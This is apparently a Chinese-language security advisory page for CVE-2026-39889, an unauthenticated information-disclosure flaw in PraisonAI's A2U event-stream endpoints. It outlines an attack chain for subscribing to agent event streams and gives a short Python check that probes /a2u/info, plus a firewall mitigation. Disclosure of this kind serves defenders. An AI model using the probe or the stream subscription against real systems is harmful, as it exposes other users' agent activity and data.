IPBUF安全漏洞报告
English
CVE-2026-39889 CVSS 7.5 高危

CVE-2026-39889 PraisonAI信息泄露漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-39889
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

信息泄露权限绕过PraisonAICVE-2026-39889认证缺失

漏洞概述

PraisonAI在4.5.115版本之前的A2U事件流服务器存在安全缺陷,多个端点未实施身份验证机制。攻击者无需认证即可远程访问这些接口,获取所有代理的活动信息。该漏洞导致了高机密性影响,攻击者可利用此漏洞窃取敏感数据。

技术细节

该漏洞位于PraisonAI的`create_a2u_routes()`函数中。在注册包括`/a2u/info`、`/a2u/subscribe`、`/a2u/events/{stream_name}`等路由时,系统未添加任何身份验证中间件或检查逻辑。这使得攻击者可以直接构造HTTP请求访问这些敏感端点。由于CVSS评分为7.5(高危),且攻击向量为网络(AV:N),攻击者无需用户交互(UI:N)和权限(PR:N)即可利用该漏洞。通过订阅事件流,攻击者能够实时监控Agent的行为、输出内容及其他内部上下文,造成严重的信息泄露。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找开放了PraisonAI服务的目标,特别是其默认端口或A2U服务端口。
STEP 2
探测
向目标服务器发送未经身份验证的HTTP请求至/a2u/info或/a2u/health端点,确认服务是否存在漏洞。
STEP 3
利用
确认漏洞后,攻击者访问/a2u/subscribe或/a2u/events/{stream_name}端点,建立连接以订阅事件流。
STEP 4
数据窃取
持续接收并解析返回的Agent活动数据,获取敏感信息、系统指令或用户交互内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_poc(target_base_url): """ PoC for CVE-2026-39889 Checks if /a2u/info is accessible without authentication. """ target_endpoint = f"{target_base_url.rstrip('/')}/a2u/info" try: response = requests.get(target_endpoint, timeout=5) if response.status_code == 200: print(f"[+] Vulnerability Confirmed at {target_endpoint}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Received status code: {response.status_code}") return False except Exception as e: print(f"[-] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with actual target URL check_poc("http://127.0.0.1:8000")

影响范围

PraisonAI < 4.5.115

防御指南

临时缓解措施
如果无法立即升级,请配置防火墙规则,阻断外部对PraisonAI服务器上/a2u相关路径的访问请求,仅允许受信任的内部IP地址连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表